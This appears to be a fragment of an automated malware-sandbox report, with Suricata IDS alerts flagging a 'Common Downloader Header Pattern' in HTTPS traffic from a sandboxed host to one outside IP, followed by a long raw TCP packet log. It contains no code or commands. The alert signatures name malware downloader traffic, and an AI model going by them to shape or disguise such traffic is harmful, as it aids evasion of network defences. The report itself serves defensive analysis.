Icon location:	%SystemRoot%\System32\imageres.dll

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-11T12:14:16.432231+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	49760	172.67.128.139	443	TCP
2024-12-11T12:14:18.767866+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	49762	172.67.128.139	443	TCP
2024-12-11T12:14:21.094804+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	49764	172.67.128.139	443	TCP
2024-12-11T12:14:42.704862+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	49776	172.67.128.139	443	TCP
2024-12-11T12:15:46.214637+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.20	49782	172.67.128.139	443	TCP
2024-12-11T12:16:42.320201+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.20	49787	172.67.128.139	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 12:14:13.056003094 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:13.056020021 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:13.056225061 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:13.064922094 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:13.064930916 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:13.305414915 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:13.305634975 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:13.311582088 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:13.311593056 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:13.311872005 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:13.317707062 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:13.358262062 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:14.130104065 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:14.130181074 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:14.130322933 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:14.130389929 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:14.130580902 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:14.130601883 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:14.131153107 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:14.173188925 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:14.369223118 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:14.369558096 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:14.369792938 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:14.375485897 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:15.591728926 CET	49760	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:15.591778040 CET	443	49760	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:15.591980934 CET	49760	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:15.592240095 CET	49760	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:15.592266083 CET	443	49760	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:15.828629971 CET	443	49760	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:15.829691887 CET	49760	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:15.829715967 CET	443	49760	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:16.432239056 CET	443	49760	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:16.432357073 CET	443	49760	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:16.432418108 CET	443	49760	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:16.432522058 CET	49760	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:16.432550907 CET	443	49760	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:16.432591915 CET	443	49760	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:16.432713985 CET	49760	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:16.444360971 CET	49760	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:16.553916931 CET	49761	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:16.553962946 CET	443	49761	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:16.554163933 CET	49761	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:16.554373026 CET	49761	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:16.554395914 CET	443	49761	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:16.792788029 CET	443	49761	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:16.793948889 CET	49761	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:16.793984890 CET	443	49761	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:16.794109106 CET	49761	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:16.794117928 CET	443	49761	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:17.627376080 CET	443	49761	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:17.627496004 CET	443	49761	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:17.627660990 CET	49761	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:17.627836943 CET	49761	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:17.659986019 CET	49762	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:17.660042048 CET	443	49762	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:17.660279036 CET	49762	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:17.660545111 CET	49762	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:17.660577059 CET	443	49762	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:17.900082111 CET	443	49762	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:17.901174068 CET	49762	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:17.901221037 CET	443	49762	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:18.767889977 CET	443	49762	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:18.768016100 CET	443	49762	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:18.768102884 CET	443	49762	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:18.768202066 CET	49762	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:18.768208981 CET	443	49762	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:18.768229961 CET	443	49762	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:18.768301010 CET	443	49762	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:18.768372059 CET	49762	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:18.768430948 CET	49762	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:18.779422045 CET	49762	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:18.800081968 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:18.800128937 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:18.800350904 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:18.800591946 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:18.800616980 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:19.038629055 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:19.039431095 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:19.039460897 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:19.039628029 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:19.039654016 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:19.879195929 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:19.879337072 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:19.879556894 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:19.879760027 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:19.897726059 CET	49764	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:19.897762060 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:19.897934914 CET	49764	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:19.898116112 CET	49764	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:19.898138046 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:20.133332014 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:20.134697914 CET	49764	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:20.134727001 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.094818115 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.094916105 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.094980955 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.095041037 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.095104933 CET	49764	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:21.095139980 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.095201015 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.095325947 CET	49764	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:21.095515966 CET	49764	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:21.095542908 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.140443087 CET	49764	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:21.241956949 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.242377043 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.242610931 CET	49764	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:21.242640972 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.242753029 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.242804050 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.242999077 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.243012905 CET	49764	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:21.243031025 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.243376017 CET	49764	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:21.243402958 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.296627045 CET	49764	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:21.506393909 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.506611109 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.506659031 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.506855011 CET	49764	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:21.506864071 CET	443	49764	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:21.507005930 CET	49764	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:21.518485069 CET	49764	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:22.137743950 CET	49765	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:22.137773991 CET	443	49765	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:22.137952089 CET	49765	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:22.138063908 CET	49765	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:22.138079882 CET	443	49765	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:22.373469114 CET	443	49765	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:22.374296904 CET	49765	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:22.374315023 CET	443	49765	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:22.374521971 CET	49765	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:22.374540091 CET	443	49765	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:22.944654942 CET	443	49765	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:22.944695950 CET	443	49765	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:22.944789886 CET	49765	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:22.945007086 CET	49765	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:23.047581911 CET	49766	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:23.047605038 CET	443	49766	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:23.048228979 CET	49766	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:23.048280954 CET	49766	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:23.048286915 CET	443	49766	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:23.281524897 CET	443	49766	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:23.282288074 CET	49766	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:23.282295942 CET	443	49766	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:23.282437086 CET	49766	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:23.282440901 CET	443	49766	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:23.655327082 CET	49767	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:23.655347109 CET	443	49767	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:23.655703068 CET	49767	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:23.657459021 CET	49767	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:23.657465935 CET	443	49767	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:23.891170025 CET	443	49767	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:23.891395092 CET	49767	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:23.892725945 CET	49767	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:23.892733097 CET	443	49767	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:23.892900944 CET	443	49767	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:23.895263910 CET	49767	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:23.938251972 CET	443	49767	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:24.150666952 CET	443	49766	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:24.150727034 CET	443	49766	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:24.150840998 CET	49766	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:24.151091099 CET	49766	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:24.181092978 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:24.181109905 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:24.181292057 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:24.181408882 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:24.181416988 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:24.415219069 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:24.416043043 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:24.416054964 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:24.416344881 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:24.416352987 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:24.463622093 CET	443	49767	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:24.463709116 CET	443	49767	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:24.463773012 CET	443	49767	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:24.463874102 CET	443	49767	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:24.463895082 CET	49767	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:24.464004993 CET	49767	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:24.469583035 CET	49767	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:25.244752884 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:25.244868994 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:25.245944023 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:25.246124983 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:28.138621092 CET	49771	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:28.138643980 CET	443	49771	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:28.138780117 CET	49771	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:28.141431093 CET	49771	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:28.141438961 CET	443	49771	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:28.375158072 CET	443	49771	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:28.375336885 CET	49771	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:28.376662016 CET	49771	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:28.376672983 CET	443	49771	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:28.376939058 CET	443	49771	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:28.379776001 CET	49771	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:28.426203966 CET	443	49771	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:28.970323086 CET	443	49771	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:28.970408916 CET	443	49771	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:28.970588923 CET	49771	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:28.970622063 CET	443	49771	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:28.970705032 CET	443	49771	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:28.970746040 CET	443	49771	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:28.971343040 CET	49771	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:28.971371889 CET	443	49771	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:28.971752882 CET	49771	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:29.195063114 CET	443	49771	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:29.195635080 CET	443	49771	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:29.195671082 CET	443	49771	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:29.195699930 CET	443	49771	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:29.195766926 CET	49771	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:29.195771933 CET	443	49771	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:29.195868969 CET	49771	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:29.195916891 CET	49771	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:29.219739914 CET	49771	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:29.341979027 CET	49772	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:29.342003107 CET	443	49772	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:29.342123032 CET	49772	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:29.342331886 CET	49772	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:29.342344046 CET	443	49772	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:29.578898907 CET	443	49772	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:29.580228090 CET	49772	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:29.580244064 CET	443	49772	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:29.580396891 CET	49772	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:29.580429077 CET	443	49772	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:30.159514904 CET	443	49772	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:30.159610033 CET	443	49772	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:30.159858942 CET	49772	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:30.160242081 CET	49772	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:41.013948917 CET	49775	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:41.013976097 CET	443	49775	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:41.014120102 CET	49775	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:41.014273882 CET	49775	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:41.014285088 CET	443	49775	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:41.250572920 CET	443	49775	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:41.251575947 CET	49775	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:41.251600027 CET	443	49775	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:41.251754999 CET	49775	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:41.251775980 CET	443	49775	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:41.854026079 CET	443	49775	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:41.854127884 CET	443	49775	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:41.854293108 CET	49775	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:41.854437113 CET	49775	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:41.882128000 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:41.882163048 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:41.882287979 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:41.882553101 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:41.882572889 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.116381884 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.117428064 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:42.117443085 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.704850912 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.704910994 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.704936028 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.704967976 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.705101013 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:42.705116987 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.705147028 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:42.705400944 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.705421925 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.705523014 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:42.705537081 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.705698967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:42.705712080 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.705835104 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.705977917 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.706048965 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:42.706060886 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.706202984 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:42.706324100 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.706548929 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.706664085 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.706708908 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:42.706720114 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.706892967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:42.921403885 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.921715975 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.921740055 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.921895027 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:42.921911001 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.922113895 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:42.922174931 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.922228098 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.922329903 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.922379017 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:42.922389984 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.922576904 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:42.922734976 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.922780037 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.922867060 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.922941923 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:42.922955036 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.923055887 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:42.923664093 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.923700094 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.923723936 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.923798084 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:42.923809052 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:42.923861027 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:42.923983097 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.148180962 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.148428917 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.148617983 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.148634911 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.148698092 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.148753881 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.148849010 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.148860931 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.149013042 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.149180889 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.149243116 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.149409056 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.149420023 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.149457932 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.150521040 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.150706053 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.150706053 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.150717974 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.150815964 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.150988102 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.150996923 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.151189089 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.151544094 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.151815891 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.151829004 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.151957035 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.374831915 CET	443	49776	172.67.128.139	192.168.11.20
